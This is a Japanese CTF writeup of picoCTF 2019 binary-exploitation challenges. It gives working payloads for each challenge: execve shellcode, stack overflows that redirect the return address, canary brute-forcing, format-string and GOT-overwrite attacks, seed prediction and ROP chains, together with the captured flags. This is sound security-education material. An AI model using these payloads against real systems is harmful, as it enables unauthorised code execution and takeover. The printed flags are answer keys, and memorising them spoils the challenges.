picoCTF 2019 writeup
picoCTF 2019
いつもどおり yharima
で,でも今回も一人だった.
さすがに問題多すぎるというのと, SECCON に向けての練習ということでほぼ pwn しかやらなかった.
7300pts で 1833th. 参加者めちゃくちゃ多いっすね….
数も多いので pwn だけ writeup 書きます.コードは以下.
ctf_log/picoCTF_2019 at master · yuta1024/ctf_log · GitHub
handy-shellcode
32bit のシェルコード流せばOK.
$ (perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\n"'; cat) | ./vuln Enter your shellcode: 1�Ph//shh/bin��PS�� ̀ Thanks! Executing now... ls flag.txt vuln vuln.c cat flag.txt picoCTF{h4ndY_d4ndY_sh311c0d3_4dc9a786}
practice-run-1
実行するだけ.
$ ./run_this picoCTF{g3t_r3adY_2_r3v3r53}
OverFlow 0
BOF させるだけ.
$ perl -e 'print "A" x 256' | xargs ./vuln picoCTF{3asY_P3a5yf663660d}
OverFlow 1
BOF させてフラグ表示する関数に飛ばす.
$ perl -e 'print "A" x 76 . "\xe6\x85\x04\x08"' | ./vuln Give me a string and lets see what happens: Woah, were jumping to 0x80485e6 ! picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}Segmentation fault (core dumped)
NewOverFlow-1
64bit なだけ.なぜか flag
関数の先頭だとうまくいかなかったのでずらしたら動いた.
$ perl -e 'print "A" x 72 . "\x68\x07\x40\x00\x00\x00\x00\x00\n"' | ./vuln Welcome to 64-bit. Give me a string that gets you the flag: picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_cfe23f2b}
slippery-shellcode
nop おいて滑らすだけ.
$ (perl -e 'print "\x90" x 256 . "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80\n"'; cat) | ./vuln Enter your shellcode: ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Rh//shh/bin��RS��B ̀ Thanks! Executing from a random location now... ls flag.txt vuln vuln.c cat flag.txt picoCTF{sl1pp3ry_sh311c0d3_0fb0e7da}
NewOverFlow-2
問題ミスとしか思えない.本当は ROP させたいんだろうけど flag
関数が残ってるので1と同じ.
$ perl -e 'print "A" x 72 . "\x4e\x08\x40\x00\x00\x00\x00\x00\n"' | ./vuln Welcome to 64-bit. Can you match these numbers? picoCTF{r0p_1t_d0nT_st0p_1t_e51a1ea0}
OverFlow 2
引数をとるようにするだけ.
$ perl -e 'print "A" x 188 . "\xe6\x85\x04\x08" . "A" x 4 . "\xef\xbe\xad\xde" . "\x0d\xd0\xde\xc0"' | ./vuln Please enter your string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ� picoCTF{arg5_and_r3turn598632d70}
CanaRy
canary は固定なので 1byte づつ canary を総当たりして leak させる.
全部 leak させたら戻りアドレスの末尾 2byte を display_flag
のアドレスにする.
ただし, objdump でみると 000007ed <display_flag>
となっており 0xed
はいいにしても 0x07
の部分は 0x07
から 0xf7
までとりうる.
これは確定できないので適当な値を決め打ちして何回か実行したらそのうちあたる.
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/canary/canary.py
$ python /tmp/yuta1024/canary.py [+] Starting local process '/problems/canary_3_257a2a2061c96a7fb8326dbbc04d0328/vuln': pid 3566097 [+] Receiving all data: Done (71B) [*] Process '/problems/canary_3_257a2a2061c96a7fb8326dbbc04d0328/vuln' stopped with exit code -11 (SIGSEGV) (pid 3566097) Ok... Now Where's the Flag? picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0bd260ce}
leap-frog
win1 && !win1
みたいなふざけた条件があって普通に関数をよんでもだめ.
win1
, win2
, win3
はグローバル変数で連続しているので win1
を引数に gets
を読んで 3byte 埋めてから display_flag
を呼び出してあげれば良い.
はたして想定解法なのか…?
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/leap-frog/leap-frog.py
$ python /tmp/yuta1024/leap-frog.py [+] Starting local process '/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c/rop': pid 4130613 [+] Receiving all data: Done (50B) [*] Process '/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c/rop' stopped with exit code -11 (SIGSEGV) (pid 4130613) picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}
stringzz
FSB があるので適当に %x
並べてフラグが格納されてるアドレス位置をみつけたらそこを %s
するだけ.
$ ./vuln input whatever string you want; then it will be printed back: %37$s Now your input will be printed: picoCTF{str1nG_CH3353_0814bc7c}
GoT
タイトル通り GOT を上書きするだけ.
しかもご丁寧にアドレスを読み込んで任意の値にしてくれる.書き換えるのは最後の exit
の GOT.
exit の GOT は 0x804a01c
で 10進数になおすと 134520860
.
win のアドレスは 0x00485c6
で 134514118
.
$ ./vuln You can just overwrite an address, what can you do? Input address 134520860 Input value? 134514118 The following line should print the flag picoCTF{A_s0ng_0f_1C3_and_f1r3_9463c919}
seed-sPRiNG
srand(time(NULL))
したあと rand() & 0xf
してるだけなので時間さえ合わして同じシードにしたらローカルで計算した乱数と一致する.
サーバタイムは普通に date
すればわかるので適当にずれているなら待てばいい.
$ date && nc 2019shell1.picoctf.com 21871 2019年 10月 4日 金曜日 01:06:47 JST # mmmmm mmmmm " mm m mmm mmm mmm mmm mmm# mmm # "# # "# mmm #"m # m" " # " #" # #" # #" "# # " #mmm#" #mmmm" # # #m # # mm """m #"""" #"""" # # """m # # "m # # # # # # "mmm" "#mm" "#mm" "#m## "mmm" # # " mm#mm # ## "mmm" Welcome! The game is easy: you jump on a sPRiNG. How high will you fly? LEVEL (1/30) Guess the height: 8 LEVEL (2/30) Guess the height: 6 LEVEL (3/30) Guess the height: 5 LEVEL (4/30) Guess the height: 8 LEVEL (5/30) Guess the height: 13 LEVEL (6/30) Guess the height: 12 LEVEL (7/30) Guess the height: 13 LEVEL (8/30) Guess the height: 15 LEVEL (9/30) Guess the height: 11 LEVEL (10/30) Guess the height: 3 LEVEL (11/30) Guess the height: 14 LEVEL (12/30) Guess the height: 8 LEVEL (13/30) Guess the height: 4 LEVEL (14/30) Guess the height: 1 LEVEL (15/30) Guess the height: 15 LEVEL (16/30) Guess the height: 9 LEVEL (17/30) Guess the height: 8 LEVEL (18/30) Guess the height: 10 LEVEL (19/30) Guess the height: 12 LEVEL (20/30) Guess the height: 7 LEVEL (21/30) Guess the height: 6 LEVEL (22/30) Guess the height: 13 LEVEL (23/30) Guess the height: 5 LEVEL (24/30) Guess the height: 8 LEVEL (25/30) Guess the height: 1 LEVEL (26/30) Guess the height: 1 LEVEL (27/30) Guess the height: 0 LEVEL (28/30) Guess the height: 4 LEVEL (29/30) Guess the height: 5 LEVEL (30/30) Guess the height: 10 picoCTF{pseudo_random_number_generator_not_so_random_454fbf9b8595fa66a87547e520351217}Congratulation! You've won! Here is your flag:
L1im1tL355
main 関数内で stack に積んでる array[666]
は負の index を与えることができる.
replaceIntegerInArrayAtIndex
に飛んだ先で戻りアドレスの値を win
のアドレスに書き換えてあげればいい.
main から replaceIntegerInArrayAtIndex を呼び出してるので負値の index を与えるといい感じに書き換えれる.
$ ./vuln Input the integer value you want to put in the array 134514118 Input the index in which you want to put the value -5 picoCTF{str1nG_CH3353_5243a217}
rop32
/bin/sh
がないので gets を使って bss の適当な場所に入力する.
あとはレジスタを pop gadget でいい感じにして int 0x80
してシェルを起動する.
gets は改行がくるとだめなので pop eax; ret;
みたいな gadget だとアドレスに 0x0a
があってだめだった.
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/rop32/rop32.py
$ python ~/rop32.py [+] Starting local process '/problems/rop32_1_c4f09c419e5910665553c0237de93dcf/vuln': pid 2046935 [*] Switching to interactive mode $ ls -l total 656 -r--r----- 1 hacksports rop32_1 31 Sep 28 21:54 flag.txt -rwxr-sr-x 1 hacksports rop32_1 661832 Sep 28 21:54 vuln -rw-rw-r-- 1 hacksports hacksports 466 Sep 28 21:54 vuln.c $ cat flag.txt picoCTF{rOp_t0_b1n_sH_b6597626}
rop64
x86_64 にするだけ.
https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/rop64/rop64.py
$ python ~/rop64.py [+] Starting local process '/problems/rop64_4_a266556e68202c0c42d6c14f6c7102b3/vuln': pid 1560430 [*] Switching to interactive mode $ ls flag.txt vuln vuln.c $ cat flag.txt picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_5e28dda5}
まとめ
pwn は全部解きたかったけどいつの間にか終わってた.heap 系苦手‥.